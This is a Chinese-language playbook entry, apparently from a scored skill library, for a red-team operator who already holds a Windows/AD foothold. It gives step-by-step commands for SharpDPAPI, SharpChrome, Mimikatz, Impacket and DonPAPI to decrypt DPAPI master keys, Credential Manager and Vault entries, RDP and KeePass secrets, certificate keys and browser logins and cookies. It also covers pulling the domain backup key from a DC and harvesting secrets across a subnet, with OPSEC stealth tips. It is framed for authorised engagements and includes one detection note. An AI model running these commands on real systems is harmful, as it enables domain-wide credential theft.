后端与接口
获得 Windows/AD 授权据点后,用 DPAPI…
适用于红队授权评估中已拿到 Windows 据点,需要在线或离线解密 DPAPI 保护的凭据、Vault、浏览器登录/Cookie、RDP/KeePass/证书等秘密,或用域 DPAPI 备份密钥做全域解密。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 38/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 55/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 59/100 ×0.15
适用场景
获得 Windows/AD 授权据点后,特定
解决思路
- 获取并编译 SharpDPAPI/SharpChrome:git clone https://github.com/GhostPack/SharpDPAPI.git;用 Visual Studio 打开 SharpDPAPI.sln 以 Release 构建,或运行 msbuild SharpDPAPI.sln /p:Configuration=Release。
- 获取 Mimikatz:从 https://github.com/gentilkiwi/mimikatz/releases 获取,用于 dpapi::* 功能。
- 在 Linux 操作机安装 Impacket:pipx install impacket,提供 dpapi.py / impacket-dpapi。
- 安装 DonPAPI:pipx install donpapi,项目地址 https://github.com/login-securite/DonPAPI。
- 在线/上下文解密路径:以目标用户身份运行,DPAPI API CryptUnprotectData 会透明解密该用户的 blob;SharpDPAPI 使用 /unprotect 进入此路径。
- 离线密码或 NTLM hash 解密路径:用 /password: 或 /ntlm: 解密用户主密钥,然后离线解密各个 blob。
- 域级备份密钥解密路径:Domain Admin 提取域的 RSA DPAPI backup key(.pvk)一次,之后用 /pvk: 在线或离线解密任意域用户的主密钥。
- 主机 triage:在当前用户上下文运行 SharpDPAPI.exe triage /unprotect。
- 机器范围 triage:运行 SharpDPAPI.exe machinetriage,需要 local admin / SYSTEM 权限。
- 用密码解密用户主密钥:SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple。
- 用 NTLM hash 解密用户主密钥:SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a。
- 记录 masterkeys 输出为 GUID:SHA1 映射,供 credentials/vaults 等命令复用。
- 用 GUID:SHA1 映射解密 Credential Manager:SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1。
- 用域备份密钥解密指定 Credentials 文件夹:SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk。
- 解密 Credential Vault 条目:SharpDPAPI.exe vaults /pvk:backupkey.pvk。
- 解密保存的 RDCMan.settings RDP 密码:SharpDPAPI.exe rdg /unprotect。
- 解密 KeePass 的 DPAPI 保护主密钥:SharpDPAPI.exe keepass /unprotect。
- 解密证书私钥:SharpDPAPI.exe certificates /unprotect /showall,可用 /showall 导出所有存储中可用的 .pem。
- 用 SharpChrome 解密当前用户浏览器保存的登录:SharpChrome.exe logins /unprotect。
- 用 SharpChrome 解密指定 Cookies 文件夹:SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk。
- 显式解析 Chromium AES state key:SharpChrome.exe statekeys /unprotect。
- 获取域 DPAPI backup key(需 Domain Admin):SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk。
- 用 .pvk 离线解密任意用户主密钥:SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\。
- Linux 上用 Impacket 解密单个 masterkey 文件:impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk。
- 用恢复的 masterkey 解密 credential blob:impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>。
- 用 DonPAPI 跨主机批量远程收集:donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24。
- OPSEC:master-key 访问、读取 \Microsoft\Protect\ 和 \Microsoft\Credentials\ 可被检测;backupkey 会触发对 DC 的 MS-BKRP RPC 调用。
- OPSEC:/unprotect(在线)路径是单主机最隐蔽选项,但只能在实时用户上下文中工作。
- 检测验证:监控 Sysmon 对 LSASS 的进程访问,以及对 Protect/Credentials 文件夹的异常访问(DE.CM-01)。
- 验证:确认主机已用 SharpDPAPI triage / machinetriage 完成 triage。
- 验证:确认用户主密钥已通过 /unprotect、/password:、/ntlm: 或 /pvk: 解密。
- 验证:确认 Credential Manager 与 Vault 秘密已恢复。
- 验证:确认存在时已提取 RDP / KeePass / 证书秘密。
- 验证:确认浏览器登录/Cookie 已用 SharpChrome 解密。
- 验证:确认在范围内且具备 Domain Admin 时已获取域 DPAPI backup key 并离线复用。
- 验证:记录所有恢复的秘密及来源主机/用户,并确认遵守 ROE。
适用边界 · 注意事项
- 未获得明确书面授权或 ROE 时,不适用于任何真实系统;仅可用于授权渗透测试、红队演练和教育目的。
- 目标不是 Windows 或不存在 DPAPI blob、主密钥、Credential Manager/Vault/浏览器凭据时,不适用。
- 缺少目标用户 SID,且没有活动用户会话、密码、NTLM hash 或域 DPAPI backup key 时,无法执行相应解密。